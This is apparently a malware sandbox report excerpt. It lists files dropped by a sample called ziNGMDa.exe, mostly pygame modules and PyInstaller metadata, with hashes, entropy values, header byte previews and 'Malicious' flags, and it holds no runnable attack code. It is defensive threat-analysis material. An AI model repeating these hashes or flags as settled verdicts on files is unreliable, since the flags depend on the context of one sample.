Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........X.............t....................h............................................l.......l.......O.......l.......Rich............PE..d....@.a.........." .........N...............................................0............`.........................................@...X.................................... .. ....................................................................................text.............................. ..`.rdata..z........0..................@..@.data...............................@....pdata..............................@..@.gfids..............................@..@.rsrc...............................@..@.reloc.. .... ......................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\math.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	5.950632811463627
Encrypted:	false
SSDEEP:	1536:AZe/QxNvadCsKVGjic6xnKMGCnDvimhHz3:bsNvadCsV2rKMlnDvimhH
MD5:	1015A8A5D495DE3CE10490463A1492A8
SHA1:	738CD146C2D8DEB5FEAF113C3D747E034B45C470
SHA-256:	BF860CE97D067C84B5A2E78DEE1D0588BE663F53FC972E8343E8D3595591A376
SHA-512:	0A1165394C2C35BB05E29878AD91BFAFB968CDB546F88D50D53D37B2C966353F80102D10AD1D58712ED3541AC194710E287B4E804AECD072532C327987DEAA9A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#..Ug...g...g...n...c...\...e...<...e...\...b...\...l...\...m......d...g..........f......f.....g.f......f...Richg...........PE..d....@.a.........." .........~......@........................................`............`.............................................X.......x....@..........t............P..........................................................(............................text.............................. ..`.rdata...I.......J..................@..@.data...@...........................@....pdata..t...........................@..@.gfids....... ......................@..@_RDATA..0....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mixer.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	5.618350238463992
Encrypted:	false
SSDEEP:	768:ylzLqQssKSvRG/Gr6+CtgzU/HftDVysPNlqedY8R:ydqKvR8teOHf7ysPNlJx
MD5:	9B254708089CCBC30CFE6C6659B09A2F
SHA1:	864ADFD7A36525E7ED098827C6E4D4C01A1DE3E3
SHA-256:	2242F4ABDFEB4A0DF640012E2D6B0D80BC9FD0631140B58290109BBD5F234A0F
SHA-512:	BE1E3650E0378995F2E006A77B59183F3729E3E6DA71656353AAAFFB2EE73E0E9A0C0A8A3D2EE22642DC880E36CB4815539FF8731B5D512EB4127EB015DCC068
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......w..3...3...3...:.1.7.......1...h...1.......1.......8.......9.......1...(d>.1...f...0...3...J.......2.......2...].2.......2...Rich3...................PE..d....@.a.........." .....B...P......`E....................................................`.............................................\......................................T....x...............................x...............`...............................text...SA.......B.................. ..`.rdata.../...`...0...F..............@..@.data................v..............@....pdata..............................@..@.gfids..............................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mixer_music.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	5.295861309753829
Encrypted:	false
SSDEEP:	384:ZJdNdx8tOtIq84dJHgSwcA8nqAMqrTvVYAd/FcNGAkVU:75aiA8nOqfvVYAd6FX
MD5:	DAFBA9C6E34A5915D279A2380377C914
SHA1:	7E9EF7E5FAEB644C7BA3CF9CA16D31AA27202568
SHA-256:	D39D34982E41106B5ABD870B940A898F8236F31B5B19527D706C27F04D289E57
SHA-512:	43C883A001E6CC28248CD0718257A5D4FC9CB72F7A4A0B07DD627D1C76568E076F2016B539DF39D588B90773A6365E0C04419E2A7FF2F2D0BF54C65D5688945A
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........7.:.V.i.V.i.V.i..i.V.i...h.V.i.>.h.V.i...h.V.i...h.V.i...h.V.ir#.h.V.i..%i.V.i.#.h.V.i.V.i.V.iv..h.V.iv..h.V.iU.Fi.V.iv..h.V.iRich.V.i........................PE..d....@.a.........." ....."...0.......%....................................................`.........................................@P..h....P...............p..T...................pJ...............................J...............@...............................text....!.......".................. ..`.rdata......@.......&..............@..@.data...x....`.......B..............@....pdata..T....p.......F..............@..@.gfids...............J..............@..@.rsrc................L..............@..@.reloc...............N..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mouse.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	5.205231899708098
Encrypted:	false
SSDEEP:	384:EFfvDK/MtihpAP65dq5dx9+EFP4TwTBmCxcMEmaU:EFDAMLiwd/+EFXMOEmV
MD5:	19864E308965488AE909CD832592E231
SHA1:	4F535D1C7FF2DC96581D47E08003E6803A01695E
SHA-256:	BB48754F6B966CEE2A71B85FA0A709A57311B056F6B0F254AA913811D448EE62
SHA-512:	EC2C51C0A37A716A3F2EC5475EB598F3B762A668FF0C8153703D37EC1F562E471A68B56483346EB3ED8AC6CC210CA196DC38B72179A86316E8A9CAE8A92777AD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........^..0..0..0......0...1..0...1..0...3..0...5..0...4..0.r.1..0...1..0..1...0.v.8..0.v.0..0.U....0.v.2..0.Rich.0.........................PE..d....@.a.........." ..... ..........P"....................................................`..........................................?..\....?...............`..................l....9...............................9...............0..h............................text...C........ .................. ..`.rdata..B....0.......$..............@..@.data........P.......>..............@....pdata.......`.......B..............@..@.gfids.......p.......F..............@..@.rsrc................H..............@..@.reloc..l............J..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\pixelarray.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	44544
Entropy (8bit):	6.0491564954203065
Encrypted:	false
SSDEEP:	768:CB0vNQkcIakBk48OlvqIQEqNPrV+QUbTyH2J/wOM6xelGuuJJ:C0XvqIqtr756gGuiJ
MD5:	9C2921C8500B7958A802B0AE51C5F224
SHA1:	5D2F3A4B306E6372DCF6561982EC0121487922A4
SHA-256:	BD06A1CF84B61DA373BB8B15C9841655DD3CD4F87A19CA5B7A190C73ECA1A081
SHA-512:	EA4B6C3E9B4D7C6D707583964CFC1DC7D5CB4F1D20D011D07D4D7B0B154205A3EB7212907480EB2FFA83307A7E1BEC94A35618B03BB86D9F7F3492374D0BFACA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3e.Zw...w...w...~\|H.q...LZ..u...,l..u...LZ..u...LZ..\|...LZ..}....q..u..."q..t...w........Z..v....Z..v....Z$.v....Z..v...Richw...........................PE..d....@.a.........." .....r...@.......t....................................................`......................................... ...d...........................................P...............................p................... ............................text....p.......r.................. ..`.rdata..H%.......&...v..............@..@.data...0...........................@....pdata..............................@..@.gfids..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\pixelcopy.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26112
Entropy (8bit):	5.762161862512225
Encrypted:	false
SSDEEP:	384:0Bsrt22v2lN7R1/YkQojGNZhffAXlp4QEMBnKXCL4BbC7cMItR:0BsrtelN7fQVKVXnKVpsIX
MD5:	F0C0D5A63111D32B27F378F55A229700
SHA1:	4D872D17A4C2483419785B47616308B66790BB55
SHA-256:	BB17CA3C90D668588E1B158650EC51F28E1067B36DEE4A1B837056689518EC44
SHA-512:	6EE85AF7D94917CDC741BDDA6EC772F0F86525BE4B7657E7CF7A2CDA808A2773FCEF12B212B6B511E8C0720F401FC4B683FDDB4A3CD7791B826E5197BFF9D514
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W...W...W...^.^.U...l...U.......U...l...U...l...]...l...]......U.......T...W...m......V......V....2.V......V...RichW...................PE..d....@.a.........." .....:..........`=....................................................`.........................................Pd..d....d..x...............................@....]...............................]...............P...............................text...S9.......:.................. ..`.rdata.......P.......>..............@..@.data...h....p.......Z..............@....pdata...............\..............@..@.gfids...............`..............@..@.rsrc................b..............@..@.reloc..@............d..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\pygame_icon.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PC bitmap, Windows 3.x format, 32 x 32 x 4, image size 512, cbSize 630, bits offset 118
Category:	dropped
Size (bytes):	630
Entropy (8bit):	5.042175167268573
Encrypted:	false
SSDEEP:	12:lD4mbLycVMlTdhtgyqTzE2jMJkhv9uj651GPUT8di1MT6zOaIVXMg6Bt:l0sLHCTmBUuMJkqAgPsDY6zOUg6Bt
MD5:	537DA516D654AD223F048989A90A4F8E
SHA1:	8A50D0851C1ECA9F2EBA173A0E29814B982A055F
SHA-256:	4F09DBCBC9EFE073211A46B8F67FB8EC23EC783BF0AD22D9D25D68F54D816F9B
SHA-512:	873ADBEF2DB9A9F04BA8C95BFDD57BE8EBCCDDE5CD7C533EFDE6934BBEC4F0EDC3E41FC983C340930F20D57E39D7795F30A442416F7675807D240B9CA7C97EFB
Malicious:	false
Preview:	BMv.......v...(... ... ............................................U\.#...YYR.....e...X........ ..npl......kx..#!...........3...............DDO............DDDD.A..........DDHH..{P.......4DHDHW.U.......,!DA....U .....fl.&ifU..+......l.ff.l....[....fn.f...........f^...f[u.......f...l+...%.%.....e.bU.DO.........VQDD...E+......i.D.HDDDD3......4DDD..HDA......^.D..DDDHAD......DDDDDD.DO.......DDDDHDD..H.....O.DDHDD...D.....D.DDDHDDr.A....OD.DHDOv..D.....DA.......N....OL.n.DB.D.....D..n.DF....0.........DL....0....4....DL..............DA...O......B....D...........i...OA'..........b...1DM.........DC........................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\rect.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	5.6705087003499735
Encrypted:	false
SSDEEP:	768:3rEOH1foEeqSQEyLuRFc7DYenlyltDqH:BHfeqSQEyPyltm
MD5:	A8F0CEE4BF91620BEA4DED4F9A812D9D
SHA1:	A97CB58DC98B154C973482B245B9476428E9E4CF
SHA-256:	DA9C1ABFD676A33996585F2417BFA560400AD62AA8C790835F2CD1E051445D64
SHA-512:	3EC9FDD488157C68EDF1A830BAFC755EBA19E1162EEE6673477A4A1593CD9B972121FEC7F62C75506CDC7A31C5036C79C4B465359F40750E37A38082DCB1CB0E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........^..0..0..0......0...1..0..1..0...3..0...5..0...4..0.\|.1..0..1..0..1.0.x.8..0.x.0..0.[....0.x.2..0.Rich.0.................PE..d....@.a.........." .....J...H......0L....................................................`..........................................\|..X...H}..................................t....r...............................s...............`...............................text...#H.......J.................. ..`.rdata..<'...`...(...N..............@..@.data...P............v..............@....pdata..............................@..@.gfids..............................@..@.rsrc...............................@..@.reloc..t...........................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\rwobject.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	5.372179169134639
Encrypted:	false
SSDEEP:	384:e0p/IAvoBdZYZFfKzhp3D0u6fkM5/kk5ocS+vmAi3ccNUVIN:eWlof6fClQuyjiPU+N
MD5:	BB51EC51892F236F74A7F387FA5253EC
SHA1:	130579E27D19D6E59814736B53D37AA6577FEE0E
SHA-256:	9292759EA5B89BEBB1C1B47699B3C6E6ACF531DC801C686589D88583FE43EBD9
SHA-512:	9BEF910450B5E76B1DB6B8E9A5BFDD3DCA9218A97ED93CD5A99F6794AA91152F4DE48331CEA5C3C50CA67A480B3638E642BF0443A4B835047B6B35F7F215D379
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-D..i%..i%..i%..`]S.o%..R{..k%..2M..k%......k%..R{..k%..R{..c%..R{..`%...P..k%..<P..j%..i%..>%...{..h%...{..h%...{?.h%...{..h%..Richi%..................PE..d....@.a.........." ....."...,......P&....................................................`..........................................N..`...pN...............p..................@....F...............................G...............@...............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data........`.......@..............@....pdata.......p.......B..............@..@.gfids...............F..............@..@.rsrc................H..............@..@.reloc..@............J..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\scrap.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.239893156354193
Encrypted:	false
SSDEEP:	384:Nk64hlDbQ9bvH8bIX+ZiWeJgp9Y8t/gzBkNxdcMYG+B/:T4hNbqbk8XBup9YFC7jYv
MD5:	97EAE335894FF469BEB51D64D46A6830
SHA1:	9AA635E4B7ABF94D56B7F523BD841512A5BF5454
SHA-256:	1579B44410D984AA9BD343FB39078C2F4053D9E473142D3AA4B1E726303CDF9E
SHA-512:	BD63FE9E87BBCAC59BEAA30CCD4ACD576617DAEFDD724A52295ADA659986A896B8FAEDB90FCA148116DAFE922F78A46B972806C37C3D313047F407388704A23D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........S..n...n...n.......n...o...n...m...n...k...n...j...n...o...n..o...n..o...n...o...n...f...n...n...n.-.....n...l...n.Rich..n.........PE..d....@.a.........." ..... ...,......@"....................................................`.........................................`>..\....>...............`..................X....7...............................7...............0...............................text...C........ .................. ..`.rdata.......0.......$..............@..@.data........P.......>..............@....pdata.......`.......@..............@..@.gfids.......p.......D..............@..@.rsrc................F..............@..@.reloc..X............H..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\surface.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	220672
Entropy (8bit):	6.378361999946562
Encrypted:	false
SSDEEP:	3072:FL90J//LkbktkAk6mGmLm5pxFds6ok5jImDnPUoU:0J//LkbktkAk6mGmLm5pxFdISPDnsoU
MD5:	B1037B72110CCE1893D0235D4288529B
SHA1:	CB5BEDD2783AC5BDC19BC2FFE0531F4B53005CF2
SHA-256:	C11B4181FA561BC6D2096BCC4085858B928B72CAFB7421FE843186E0B880911D
SHA-512:	EF0635FF287B084A100A8E9808D7E12E6EA06F378CF016BED89CD42FB7FDA3CC1F35F900435E98F179DD7D88EFD4DA4519A66565DD635EB4D369704DAEA902FC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................z........................................\.....................X.......X.......{.......X.......Rich....................PE..d....@.a.........." .........j............................................................`......................................... I..`....I...............p..t....................:...............................:...............................................text............................... ..`.rdata...G.......H..................@..@.data........`.......B..............@....pdata..t....p.......L..............@..@.gfids...............X..............@..@.rsrc................Z..............@..@.reloc...............\..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\surflock.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	4.7332799889207475
Encrypted:	false
SSDEEP:	192:j6AO3998ST7rwziZXF19nSBUfrkcFET6DKz+vpU/ZMcXU:WAO3nTHwziZVGBUYmE/z+vpcMR
MD5:	97B5CD69817EF85E93596AD673931207
SHA1:	DF5AAFBCDEC7410EA22AFCEAA3C6F6CBFBA60FA1
SHA-256:	2F8588FABE09E27DA075D08F304C10ED3CACA7A4CB22FB1C1DFF07C745C1D04E
SHA-512:	0AFE81AAABD6CD32CB783282BE24B0B45B1C4402C6748FB0C8F535CCA83C18D78C21C6C231E508550D3C9CDA8F03E0B270A22341583266420C53FC460E516C87
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................... ...................$......$.............$......Rich............PE..d....@.a.........." .........$......P.....................................................`..........................................7..`...08..x....p.......P..X...............,....2...............................2...............0...............................text............................... ..`.rdata.......0......................@..@.data........@.......(..............@....pdata..X....P.......,..............@..@.gfids.......`.......0..............@..@.rsrc........p.......2..............@..@.reloc..,............4..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\time.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.0056722767505235
Encrypted:	false
SSDEEP:	384:oKC/6w5thofp7tK8V/iAHW8r2IBvm9vcM7nJ7jE:Lw52/ZWBIZW7nJs
MD5:	55AD01302C523045664B70D6E02CAF37
SHA1:	3C293066CCF696EADC0B1FB4221DD7395844D400
SHA-256:	A4125C24ECB613DEEE74579BA5E71646372FE165847324E96BCF75475367885A
SHA-512:	0ED8834AAF04CA123C20AC3D7CE238EDE903633FCDC65AACA5185945A984C9A7739641DF7A599E195737ACCAD29596832A8924C08804960B32B2AB2721D0443E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........^..0..0..0......0...1..0..1..0...3..0...5..0...4..0.r.1..0..1..0..1.0.v.8..0.v.0..0.U....0.v.2..0.Rich.0.........PE..d....@.a.........." ................@ ....................................................`.........................................@=..X....=...............`.......................7...............................7...............0..P............................text...3........................... ..`.rdata..j....0......."..............@..@.data...h....P.......:..............@....pdata.......`.......@..............@..@.gfids.......p.......D..............@..@.rsrc................F..............@..@.reloc...............H..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\transform.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	52224
Entropy (8bit):	6.238521835356077
Encrypted:	false
SSDEEP:	768:RLoLurfraJabMY5f1PpBzfQAdkSc/7zpY5MXyEq9tYWA9vp+zC:2Jaj1rzVdkL7NY5M1IPA9vkzC
MD5:	9E10F8B28E65A0CC49A2B12684D82D49
SHA1:	8C2E6E6510D1732EA99BB938205841B1A56AD18F
SHA-256:	00FE981B7BB8DC23BB466CA8DF388FE3F6569A55FDB700CBE4A0A0ADC1884266
SHA-512:	F2854CD9BAF0F8275978698D3CEAEC4A75671EB8CAE1B70248CCFC034341A67450DF5CD79BE60E2D09AD7945C06D6C1FEB523D66E71E4BBF5746D61F6C57A686
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........]gC.<...<...<...D...<...b...<...T...<...b...<...b...<...b...<..hI...<...I...<...<...<..lb...<...<...<..lb...<..Ob...<..lb...<..Rich.<..........................PE..d....@.a.........." .........@......`........................................ ............`.........................................@...d.......................D...................`................................................................................text...s........................... ..`.rdata...'.......(..................@..@.data...............................@....pdata..D...........................@..@.gfids..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info\COPYING.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	30633
Entropy (8bit):	4.688010115276433
Encrypted:	false
SSDEEP:	384:8JOtiIudxEUwi5rDL676yV12rPd34ZomzM2FR+qWi9vlKM1zJlFvmNz5VrlkTS0x:kOqv7FgixMFzMqd9TzJlFvAfxk1rt
MD5:	752110777ECD9E72B16DF0E59C1E0019
SHA1:	CB1BD57EC2694EE4ADFA1C544310A2505D513179
SHA-256:	F724F1AFBA40A8CC374CBB3E20495BFE142B998B97D8F16F420FA307D2A4D402
SHA-512:	D2358E17C2AFCFB813D50D841FD6B7ECCB4FD739D762BCBEF486E4F3F51949BB232DF54C6E8AAD5062F8D8B65B53E25298CD22E709B2767C193F084317234E96
Malicious:	false
Preview:	================================. The PyInstaller licensing terms.================================. ..Copyright (c) 2010-2021, PyInstaller Development Team.Copyright (c) 2005-2009, Giovanni Bajo.Based on previous work under copyright (c) 2002 McMillan Enterprises, Inc....PyInstaller is licensed under the terms of the GNU General Public License.as published by the Free Software Foundation; either version 2 of the License,.or (at your option) any later version....Bootloader Exception.--------------------..In addition to the permissions in the GNU General Public License, the.authors give you unlimited permission to link or embed compiled bootloader.and related files into combinations with other programs, and to distribute.those combinations without any restriction coming from the use of those.files. (The General Public License restrictions do apply in other respects;.for example, they cover modification of the files, and distribution when.not linked into a combined executable.). . .Bootlo

C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7092
Entropy (8bit):	4.998338605202661
Encrypted:	false
SSDEEP:	192:2Ic5PvuP4fKw2gOMiwMgbeLGXBp9oL02zxWTL:QSw2gdiDgbeqX5ohzITL
MD5:	C29327B7082C4E92D83C03C7F611DC0F
SHA1:	1CD68922CDF90F46197C917F44F6E27295E162CA
SHA-256:	CEE287AAD1484D7BFD68B1FD4410E2E5FAEB44B3093A049D287B99EE4CFC7591
SHA-512:	AB86FB07F74CA1B611FDA4C1AF0EAE327CFFD29BD6E89B14683C520EEA46CAA32C20AE04F518107E1BA2B838E7F2402A942E09ADF5B61DC904AC6E15370D3FB6
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: pyinstaller.Version: 4.9.Summary: PyInstaller bundles a Python application and all its dependencies into a single package..Home-page: http://www.pyinstaller.org/.Author: Hartmut Goebel, Giovanni Bajo, David Vierra, David Cortesi, Martin Zibricky.License: GPLv2-or-later with a special exception which allows to use PyInstaller to build and distribute non-free programs (including commercial ones).Keywords: packaging, app, apps, bundle, convert, standalone, executable,pyinstaller, cxfreeze, freeze, py2exe, py2app, bbfreeze.Platform: UNKNOWN.Classifier: Development Status :: 6 - Mature.Classifier: Environment :: Console.Classifier: Intended Audience :: Developers.Classifier: Intended Audience :: Other Audience.Classifier: Intended Audience :: System Administrators.Classifier: License :: OSI Approved :: GNU General Public License v2 (GPLv2).Classifier: Natural Language :: English.Classifier: Operating System :: MacOS :: MacOS X.Classifier: Operating System :: Micr

C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	58583
Entropy (8bit):	5.595063125204259
Encrypted:	false
SSDEEP:	768:h8tk/q2IQwk9q4RLDsJHVdAIzkoepV9k7lrP2ey7Rf+83rOXGajETXiqKAGahRvS:h8wq2IQwkygfNrOXGaQe/bq9S
MD5:	3B1E984B94D00ABC7C2E0E06803FAF85
SHA1:	FF5FC66FCB025D6BC117D146A76EDA234F6D91C0
SHA-256:	2614F49C1700D2A967BD766BB91C0C88DE683C1E5154C7CFDCD83A6E7ADCFCCF
SHA-512:	3249B18315E02E0917C8AAC3822599EE64BEF0426A4C2504B728DCEC49D4356B9CF894967C46A9948B572CA86CCE6BFB61C73F38B3FF78732D7288321CA8EE71
Malicious:	false
Preview:	../../Scripts/pyi-archive_viewer.exe,sha256=YYWLxAFwJxTmHCLxtuTXtPN_3jDEKsW9RCwzpcSVLBk,106863..../../Scripts/pyi-bindepend.exe,sha256=GeZqwVahDCN6YuC5a6kea8ppWz1KAxtZAH_12NXZiQY,106858..../../Scripts/pyi-grab_version.exe,sha256=uwFixZrwFuGe75egdxlUKiUMTVKozu7GrmmO0Leq4_I,106861..../../Scripts/pyi-makespec.exe,sha256=fZZ-8HDQyrjA0HJZZV2Z28pB9BuY_W3MuLnd-2_5Seg,106857..../../Scripts/pyi-set_version.exe,sha256=vweuNwVbdtx_f0rH6ZVUdmuWFymWxAAigik7jOIKb-8,106860..../../Scripts/pyinstaller.exe,sha256=xrI2Sdobg4UQbWMIdnvo8heUfTmv2ta0pl3WkE2O4Ro,106842..PyInstaller/__init__.py,sha256=Oi1OxyaF0pcNZsQbS-1cc0eIPIYGGVN5T_qZVfKwUlY,2995..PyInstaller/__main__.py,sha256=z5FJKeUWmlAhAukF--sDK-etA_qtJtoG0HEqVsU03PY,4458..PyInstaller/__pycache__/__init__.cpython-310.pyc,,..PyInstaller/__pycache__/__main__.cpython-310.pyc,,..PyInstaller/__pycache__/_recursion_to_deep_message.cpython-310.pyc,,..PyInstaller/__pycache__/_shared_with_waf.cpython-310.pyc,,..PyInstaller/__pycache__/compat.cpython-310.pyc,,..P

C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	98
Entropy (8bit):	4.942294805297369
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlViZHKRRP+tPCCfA5TLn:RtBMwlViojWBBULn
MD5:	BD79A71753483602E3586C3A0DFB00F4
SHA1:	52402F54E3FB4E09D81E3728ABBB2B88E61F96F0
SHA-256:	8BDA908FC29A0FCFD8116D15736A12E7A7CA8EEDB746443E155CFE426CD56A44
SHA-512:	F07F7F327EA32CFD47D0226B40CECC229EB679E6B186629F37E6AE5EB7B8D414112DAB6179F8F82A54A8F7936158100CECFECCF1FD0F4FB3CF67A637DDC06AF0
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.37.1).Root-Is-Purelib: true.Tag: py3-none-win_amd64..

C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info\entry_points.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	361
Entropy (8bit):	4.532364994515823
Encrypted:	false
SSDEEP:	6:1VkKXL0DjyXLfUynXLEB85AQFXLHHVtAcRNnXLAX2OXFnXLLMMn:1qKXIyXLpXg4hX7VtdFXsX2OXFnXMM
MD5:	E1773209C0AB0B0402725B5776B57AFF
SHA1:	AC23E47ED2047EED17058116BE2E02D93B6EEF25
SHA-256:	1EF5246366023F170942310D9E04650C4B666257FFA967A01B5FF0BFF27DF463
SHA-512:	95DFC681D676A6D8F49CD8A65EA40B4A8C21BB62DB9075ABE3EB8B20EB5EC4D72C1E4C86DA0A94C5010156FB93BEC96DBD50E127091B7B559A91B6EB29BBB534
Malicious:	false
Preview:	[console_scripts].pyi-archive_viewer = PyInstaller.utils.cliutils.archive_viewer:run.pyi-bindepend = PyInstaller.utils.cliutils.bindepend:run.pyi-grab_version = PyInstaller.utils.cliutils.grab_version:run.pyi-makespec = PyInstaller.utils.cliutils.makespec:run.pyi-set_version = PyInstaller.utils.cliutils.set_version:run.pyinstaller = PyInstaller.__main__:run..

C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.418295834054489
Encrypted:	false
SSDEEP:	3:rLWTXvn:f8Xvn
MD5:	0A28E8E758F80C4B73AFD9DBEF9F96DD
SHA1:	10072E4EC58C0E15D5A62FD256AC9D7BC6A28BCB
SHA-256:	1AE466BD65C64D124D6262B989618E82536FE0BDDBCBB60A68488AC9C359E174
SHA-512:	38D7A1B6198701708F90750C9D82390A150972FB898FC91C825FF6F6FE2A560B3BCC381A388BB7FE5DFAE63550BEC2A6A7CFED1390E620A5B2A559726C1439E5
Malicious:	false
Preview:	PyInstaller.

